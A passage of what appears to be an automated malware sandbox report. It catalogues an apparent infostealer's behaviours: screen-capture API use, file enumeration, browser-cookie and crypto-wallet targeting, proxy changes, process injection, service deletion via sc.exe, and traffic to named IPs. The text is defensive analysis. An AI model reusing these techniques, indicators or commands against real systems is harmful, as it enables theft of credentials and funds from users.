HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Tue 28 Apr 2026 07:50:15 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=Iow566UgoVgmk1tqSHHKRNEpka6nphcwkifR93YEZDE-1777362615.491051-1.0.1.1-dfAf3b3luskI2o9G5gGIP_6uphQExdhHe02m6OdysilLCnPJRIgfLXhi0UhZWQpu3IzQyvrYEMNvbbQZa.4j1g_kFRLO0FteHOy3P0r90x7pXX1bYRjP47cWdB0iwaXC; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Tue 28 Apr 2026 08:20:15 GMT Server: cloudflare CF-RAY: 9f34799ad9e2cf0e-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A.......47:T4c90,"" (Indicator: "GetDC"; Source: "00000000-00000352.00000000.190258.03410000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00000352.00000000.190258.03410000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00000352.00000000.190258.03410000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000352.00000000.190258.03410000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000352.00000000.190258.03410000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00000352.00000000.190258.03410000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00000352.00000000.190258.03410000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00000352.00000000.190258.03410000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00002980.00000000.189683.00700000.00000004.mdmp, 00000000-00002980.00000001.191604.00700000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00002980.00000000.189683.00700000.00000004.mdmp, 00000000-00002980.00000001.191604.00700000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00002980.00000000.189683.00700000.00000004.mdmp, 00000000-00002980.00000001.191604.00700000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00002980.00000000.189683.00700000.00000004.mdmp, 00000000-00002980.00000001.191604.00700000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00002980.00000000.189683.00700000.00000004.mdmp, 00000000-00002980.00000001.191604.00700000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00002980.00000000.189683.00700000.00000004.mdmp, 00000000-00002980.00000001.191604.00700000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00002980.00000000.189683.00700000.00000004.mdmp, 00000000-00002980.00000001.191604.00700000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00002980.00000000.189683.00700000.00000004.mdmp, 00000000-00002980.00000001.191604.00700000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00003244.00000000.189882.007A0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00003244.00000000.189882.007A0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00003244.00000000.189882.007A0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00003244.00000000.189882.007A0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00003244.00000000.189882.007A0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00003244.00000000.189882.007A0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00003244.00000000.189882.007A0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00003244.00000000.189882.007A0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00004280.00000000.190088.02C90000.00000004.mdmp")60:T77d,"1677320171.exe" called "FindFirstFileW" with parameter C:\* (UID: 00000000-00004332) "1677320171.exe" called "FindNextFileW" with parameter $Recycle.Bin (UID: 00000000-00004332) "1677320171.exe" called "FindFirstFileW" with parameter C:\$Recycle.Bin\* (UID: 00000000-00004332) "1677320171.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00004332) "1677320171.exe" called "FindNextFileW" with parameter S-1-5-18 (UID: 00000000-00004332) "1677320171.exe" called "FindFirstFileW" with parameter C:\$Recycle.Bin\S-1-5-18\* (UID: 00000000-00004332) "1677320171.exe" called "FindNextFileW" with parameter desktop.ini (UID: 00000000-00004332) "1677320171.exe" called "FindNextFileW" with parameter S-1-5-21-735145574-3570218355-1207367261-1001 (UID: 00000000-00004332) "1677320171.exe" called "FindFirstFileW" with parameter C:\$Recycle.Bin\S-1-5-21-735145574-3570218355-1207367261-1001\* (UID: 00000000-00004332) "1677320171.exe" called "FindNextFileW" with parameter $WINDOWS.~BT (UID: 00000000-00004332) "1677320171.exe" called "FindFirstFileW" with parameter C:\$WINDOWS.~BT\* (UID: 00000000-00004332) "1677320171.exe" called "FindNextFileW" with parameter DUDownload (UID: 00000000-00004332) "1677320171.exe" called "FindFirstFileW" with parameter C:\$WINDOWS.~BT\DUDownload\* (UID: 00000000-00004332) "1677320171.exe" called "FindNextFileW" with parameter Setup (UID: 00000000-00004332) "1677320171.exe" called "FindFirstFileW" with parameter C:\$WINDOWS.~BT\DUDownload\Setup\* (UID: 00000000-00004332) "1677320171.exe" called "FindNextFileW" with parameter acmigration.dll (UID: 00000000-00004332) "1677320171.exe" called "FindNextFileW" with parameter appraiser.sdb (UID: 00000000-00004332) "1677320171.exe" called "FindNextFileW" with parameter diagtrack.dll (UID: 00000000-00004332) "1677320171.exe" called "FindNextFileW" with parameter mediasetupuimgr.dll (UID: 00000000-00004332)61:T568," Microsoft\"\n \"peinf_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"4_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"8_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"3_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"2_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"5_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"6_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"1053615803.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"1_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"1639540255.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"69f0668dcac816efe30483d9"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"$70","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"69f0668dcac816efe30483d9"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"11/26 Antivirus vendors marked sample as malicious (42% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"69f0668dcac816efe30483d9"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$71","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"69f0668dcac816efe30483d9"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$72","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"69f0668dcac816efe30483d9"}]},{"level":"suspicious","category":"Network Related","name":"Employs a browser-related User Agent without launching browser","description":"Found User Agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"69f0668dcac816efe30483d9"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 178.16.54.109 on port 80 is sent without HTTP header\n TCP traffic to 104.16.185.241 on port 80 is sent without HTTP header\n TCP traffic to 130.12.180.190 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"69f0668dcac816efe30483d9"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - ChaCha20 encryption algorithm","description":"YARA signature for ChaCha20 256-bit key algorithm matched on file \"grab_1_.exe\"\n YARA signature for ChaCha20 128-bit key algorithm matched on file \"grab_1_.exe\"\n YARA signature for ChaCha20 256-bit key algorithm matched on file \"1082240733.exe\"\n YARA signature for ChaCha20 128-bit key algorithm matched on file \"1082240733.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":9,"id":"yara-44","sources":[{"report_type":"sandbox","report_id":"69f0668dcac816efe30483d9"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – Anomalous PE file structure","description":"YARA signature for invalid Timestamp of PE file \"grab_1_.exe\"\n YARA signature for invalid Timestamp of PE file \"1082240733.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":1,"id":"yara-153","sources":[{"report_type":"sandbox","report_id":"69f0668dcac816efe30483d9"}]},{"level":"suspicious","category":"Pattern Matching","name":"Yara Signature Match - Indicators","description":"YARA signature \"INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs\" matched file \"grab_1_.exe\" as \"Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs.\" (Author: ditekSHen)\n YARA signature \"INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs\" matched file \"1082240733.exe\" as \"Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs.\" (Author: ditekSHen)","origin":"YARA Signature","relevance":9,"id":"yara-553","sources":[{"report_type":"sandbox","report_id":"69f0668dcac816efe30483d9"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"$73","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"69f0668dcac816efe30483d9"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Able to retrieve browser cookies using SQL","description":"$74","origin":"File/Memory","mitre_attack_id":"T1539","relevance":1,"id":"string-692","sources":[{"report_type":"sandbox","report_id":"69f0668dcac816efe30483d9"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Attempts to obtain browser cookies (file access)","description":"$75","origin":"API Call","mitre_attack_id":"T1539","relevance":10,"id":"api-301","sources":[{"report_type":"sandbox","report_id":"69f0668dcac816efe30483d9"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"\"1677320171.exe\" called \"GetDriveTypeW\" with parameter 43003a00 (UID: 00000000-00004332)","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"69f0668dcac816efe30483d9"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found an instant messenger related domain","description":"\"hotwire.com\" (Indicator: \"wire.com\"; File: \"PCAP\")","origin":"File/Memory","relevance":10,"id":"string-61","sources":[{"report_type":"sandbox","report_id":"69f0668dcac816efe30483d9"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$76","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"69f0668dcac816efe30483d9"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$77","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"69f0668dcac816efe30483d9"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"$78","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"69f0668dcac816efe30483d9"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"peinf_1_.exe\" claimed CRC 49970 while the actual is CRC 35936\n \"4_1_.exe\" claimed CRC 68080 while the actual is CRC 49970\n \"8_1_.exe\" claimed CRC 76203 while the actual is CRC 68080\n \"3_1_.exe\" claimed CRC 48722 while the actual is CRC 76203\n \"2_1_.exe\" claimed CRC 55188 while the actual is CRC 48722\n \"5_1_.exe\" claimed CRC 67391 while the actual is CRC 55188\n \"6_1_.exe\" claimed CRC 55861 while the actual is CRC 67391\n \"1053615803.exe\" claimed CRC 37430 while the actual is CRC 55861\n \"1_1_.exe\" claimed CRC 20604 while the actual is CRC 37430\n \"1639540255.exe\" claimed CRC 83615 while the actual is CRC 20604","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"69f0668dcac816efe30483d9"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"CreateFileW\n CreateProcessW\n UnhandledExceptionFilter\n GetModuleHandleW\n GetProcAddress\n DeleteFileW\n TerminateProcess\n Sleep\n GetStartupInfoW\n WriteFile\n GetTickCount\n IsDebuggerPresent\n ShellExecuteW\n InternetReadFile\n InternetOpenUrlW\n InternetOpenW\n InternetCloseHandle\n URLDownloadToFileW\n RegOpenKeyExW\n RegCloseKey\n GetFileSize\n CreateFileMappingA\n MapViewOfFile\n FindNextFileW\n FindFirstFileW\n GetLogicalDrives\n CreateThread\n GetDriveTypeW\n ExitThread\n GetStartupInfoA\n GetModuleFileNameW\n InternetOpenA\n InternetOpenUrlA\n send\n socket\n closesocket\n connect\n recv\n WSAStartup","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"69f0668dcac816efe30483d9"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Tries to hide tracks of having downloaded a file from the internet","description":"$79","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-42","sources":[{"report_type":"sandbox","report_id":"69f0668dcac816efe30483d9"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"11/26 Antivirus vendors marked sample as malicious (42% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"69f0668dcac816efe30483d9"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"$7a","origin":"Binary File","mitre_attack_id":"T1204.002","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"69f0668dcac816efe30483d9"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"$7b","origin":"Monitored Target","mitre_attack_id":"T1204.002","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"69f0668dcac816efe30483d9"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$7c","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"69f0668dcac816efe30483d9"}]},{"level":"malicious","category":"Network Related","name":"Attempts to identify external IP address","description":"\"icanhazip.com\"","origin":"Network Traffic","mitre_attack_id":"T1016","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"69f0668dcac816efe30483d9"}]},{"level":"malicious","category":"System Security","name":"Stops or deletes service using sc.exe","description":"Process \"sc.exe\" with commandline \"delete \"winmgr\"\" (UID: 00000000-00011988)","origin":"Monitored Target","mitre_attack_id":"T1489","relevance":10,"id":"target-150","sources":[{"report_type":"sandbox","report_id":"69f0668dcac816efe30483d9"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"Spawned process \"